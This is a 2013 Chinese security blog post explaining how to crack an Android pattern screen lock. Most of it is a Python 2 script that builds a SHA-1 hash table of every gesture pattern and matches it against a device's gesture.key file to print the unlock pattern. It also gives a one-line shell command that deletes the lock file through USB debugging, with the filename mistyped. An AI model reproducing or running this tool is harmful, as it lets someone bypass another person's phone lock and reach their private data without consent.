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知识共享许可协议
火星信息安全研究院 by obaby is licensed under a Creative Commons 署名-非商业性使用-相同方式共享 2.5 中国大陆 License.
基于www.h4ck.org.cn上的作品创作。

Andoid 图形屏幕锁破解

发表于 06/04/2013 | 由 obaby

cracked

其实最早看到关于破解访问图案是在看雪的一篇文章中：http://bbs.pediy.com/showthread.php?t=166933。详细信息可以参考这篇文章，至于有什么不明白的那就去Google吧。

今天看到一份代码，用于生成哈希库，既然数据都有了，还不直接把搜索功能一块加进去？这不是蛋疼嘛。于是我自己完善了一下，可以直接用来对gesture.key进行搜索，免得自己去查找。当然了如果愿意自己去查也是很快的，生成的就是个文本数据库，直接用记事本打开查就行了。

当然这个东西也有局限性，就是开启了usb调试，能够访问设备上的文件，如果不想去破解，更简单的方法就是执行下面的指令直接将文件删除自然密码也就没了：

rm /data/system/gesture.ke

脚本代码如下：

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#coding:utf-8
#"============================================="
#"[*]Android lockscreen(gesture) cracker"
#"[*]Updated by obaby QQ:289090351"
#"[*]Mars Information Security"
#"[*]http://www.h4ck.org.cn"
#"[*]coding by g0t3n update by obaby
#"============================================="
 
 
 
import sys
import os
import hashlib
import struct
import binascii
from copy import deepcopy
 
 
filehandle = None
db = "./hash.db"
init_mapper = [[0,0,0],[0,0,0],[0,0,0]]
mapper_queue = []		# tmp_mapper,startx,starty,prev_path
key_mapper  = [['\x00','\x01','\x02'],['\x03','\x04','\x05'],['\x06','\x07','\x08']]
 
def notfull(mapper):
	for x in range(3):
		for y in range(3):
			if (mapper[x][y] != 0):
				return True
	return False
 
# 因为必须两个以上九个以下
def canwritelog(mapper):
	cnt = 0
	for x in range(3):
		for y in range(3):
			if mapper[x][y] == 1:
				cnt += 1
			if cnt > 2:
				return True
	return False
 
def writelog(tmp, prev):
	strings = ""
	paths = ""
	for i in prev:
		x,y = i
		paths = paths + str(x)+str(y)
		strings = strings + key_mapper[x][y]
	#print "writelog: strings => "+strings + " | " +hashlib.sha1(strings).hexdigest()
	filehandle.write(paths+" | "+hashlib.sha1(strings).hexdigest()+'\n')
 
 
def generatehashtable():
	print "[*]Generate hash.db .........\n[*]Waiting..............."
	rounds = 1
	for startxs in range(3):
		for startys in range(3):
			# start point to 0,0
			#startx,starty = 0,0
			cur_mapper = init_mapper
			init = 0
			prev_path = []
 
			startx,starty = startxs,startys
			while(True):
 
				if init == 0:			# init
					tmp_mapper = deepcopy(cur_mapper)			# u r not virgin
					tmp_mapper[startx][starty] = 1
					prev_path.append((startx,starty))
					init = 1
				else:
					if len(mapper_queue) == 0:		# 队列为空证明finish了
						break
					tmp_mapper,startx,starty,prev_path = mapper_queue.pop()
				#print "head => "+repr(tmp_mapper)
				#print "mapper_queue =>"+repr(mapper_queue)
				if (startx+1 < 3) :			# right
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty))
					if  (tmp_mapper[startx+1][starty] != 1):			#  如果该点本来为 1,即结束,即不再入栈
						tmp[startx+1][starty] = 1
						mapper_queue.append((tmp, startx+1, starty, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
 
				if (startx-1 >= 0):		# left
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty))
					if (tmp_mapper[startx-1][starty] != 1):
						tmp[startx-1][starty] = 1
						mapper_queue.append((tmp, startx-1, starty, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
 
				if (starty+1 < 3) :		# down
					tmp = deepcopy(tmp_mapper)
 
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx,starty+1))
					if (tmp_mapper[startx][starty+1] != 1):
						tmp[startx][starty+1] = 1
						mapper_queue.append((tmp, startx, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
 
				if (starty-1 >= 0):		# up
					tmp = deepcopy(tmp_mapper)
 
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx,starty-1)) 
					if (tmp_mapper[startx][starty-1] != 1):
						tmp[startx][starty-1] = 1
						mapper_queue.append((tmp, startx, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				# 斜 一位
				if (startx+1 < 3) and (starty+1 < 3):		# right down
					tmp = deepcopy(tmp_mapper)
 
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty+1))
					if  (tmp_mapper[startx+1][starty+1] != 1):
						tmp[startx+1][starty+1] = 1
						mapper_queue.append((tmp, startx+1, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx-1 >= 0) and (starty+1 < 3):		# left down
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty+1))
					if (tmp_mapper[startx-1][starty+1] != 1):
						tmp[startx-1][starty+1] = 1
						mapper_queue.append((tmp, startx-1, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
 
				if (startx-1 >= 0) and (starty-1 >= 0) :		# left up
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty-1))
					if (tmp_mapper[startx-1][starty-1] != 1):
						tmp[startx-1][starty-1] = 1
						mapper_queue.append((tmp, startx-1, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
 
				if (startx+1 < 3) and (starty-1 >= 0):		# right up
					tmp = deepcopy(tmp_mapper)
 
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty-1))
					if (tmp_mapper[startx+1][starty-1] != 1):
						tmp[startx+1][starty-1] = 1
						mapper_queue.append((tmp, startx+1, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				#  斜 两位
				if (startx+1 < 3) and (starty+2 < 3):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty+2))
					if (tmp_mapper[startx+1][starty+2] != 1):
						tmp[startx+1][starty+2] = 1
						mapper_queue.append((tmp, startx+1, starty+2, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx-1 >= 0) and (starty+2 < 3):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty+2))
					if (tmp_mapper[startx-1][starty+2] != 1):
						tmp[startx-1][starty+2] = 1
						mapper_queue.append((tmp, startx-1, starty+2, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx+1 < 3) and (starty-2 >= 0):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty-2))
					if (tmp_mapper[startx+1][starty-2] != 1):
						tmp[startx+1][starty-2] = 1
						mapper_queue.append((tmp, startx+1, starty-2, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx-1 >= 0) and (starty-2 >= 0):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty-2))
					if (tmp_mapper[startx-1][starty-2] != 1):
						tmp[startx-1][starty-2] = 1
						mapper_queue.append((tmp, startx-1, starty-2, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
 
				if (startx+2 < 3) and (starty+1 < 3):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+2,starty+1))
					if (tmp_mapper[startx+2][starty+1] != 1):
						tmp[startx+2][starty+1] = 1
						mapper_queue.append((tmp, startx+2, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx+2 < 3) and (starty-1 >= 0):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+2,starty-1))
					if (tmp_mapper[startx+2][starty-1] != 1):
						tmp[startx+2][starty-1] = 1
						mapper_queue.append((tmp, startx+2, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx-2 >= 0) and (starty-1 >= 0):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-2,starty-1))
					if (tmp_mapper[startx-2][starty-1] != 1):
						tmp[startx-2][starty-1] = 1
						mapper_queue.append((tmp, startx-2, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!				
				if (startx-2 >= 0) and (starty+1 < 3):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-2,starty+1))
					if (tmp_mapper[startx-2][starty+1] != 1):
						tmp[startx-2][starty+1] = 1
						mapper_queue.append((tmp, startx-2, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!				
				#print "round "+str(rounds)
				rounds += 1
 
 
 
	print "finished..."
 
def cur_file_dir():
        #获取脚本路径
        path = sys.path[0]
        #判断为脚本文件还是py2exe编译后的文件，如果是脚本文件，则返回的是脚本的目录，
        #如果是py2exe编译后的文件，则返回的是编译后的文件路径
        if os.path.isdir(path):
                return path
        elif os.path.isfile(path):
                return os.path.dirname(path)
def printkeytable():
        print "[*]Fallow the map below to enter the device:"
        print "[*]===================="
        print "[*]=00 01 02  |  o o o="
        print "[*]=10 11 12  |  o o o="
        print "[*]=20 21 22  |  o o o="
        print "[*]===================="
 
def decrypthash():
        print "[*]Hash database detected."
        #print cur_file_dir() + '\\' + sys.argv[1]
	if (len(sys.argv)&lt;2) :
                print "[*]Please run the script file with key file name ."
        else:
                if os.path.isfile(cur_file_dir() + '\\' + sys.argv[1]):
                        print "[*]Get key information now......"
                        keyhandle = open(cur_file_dir() + '\\' + sys.argv[1],'rb')
                        gesturebytes = keyhandle.read()
                        gesturetext = binascii.b2a_hex(gesturebytes)
                        print "[*]Crypted hash is :\n  " + gesturetext
                        print "[*]Decoding now....................."
                        keyhandle.close()
                        filehandle = open(db,'r')
                        for line in filehandle:
                                if not line.find(gesturetext)==-1:
                                        print "[*]Sucess cracked the gesture:"
                                        print line
                                        printkeytable()
                                        print "============================================="
                        filehandle.close()
 
if __name__ == '__main__':
 
        print "============================================="
        print "[*]Android lockscreen(gesture) cracker"
        print "[*]Updated by obaby QQ:289090351"
        print "[*]Mars Information Security"
        print "[*]http://www.h4ck.org.cn"
        print "[*]Thx tog0t3n for his/her orginal script"
        print "============================================="
        print "[*]Detect if hash database is exists....."
 
 
	if os.path.isfile(db) == False:
		filehandle = open(db,'w')
		generatehashtable()
		decrypthash()
	else:
                decrypthash()

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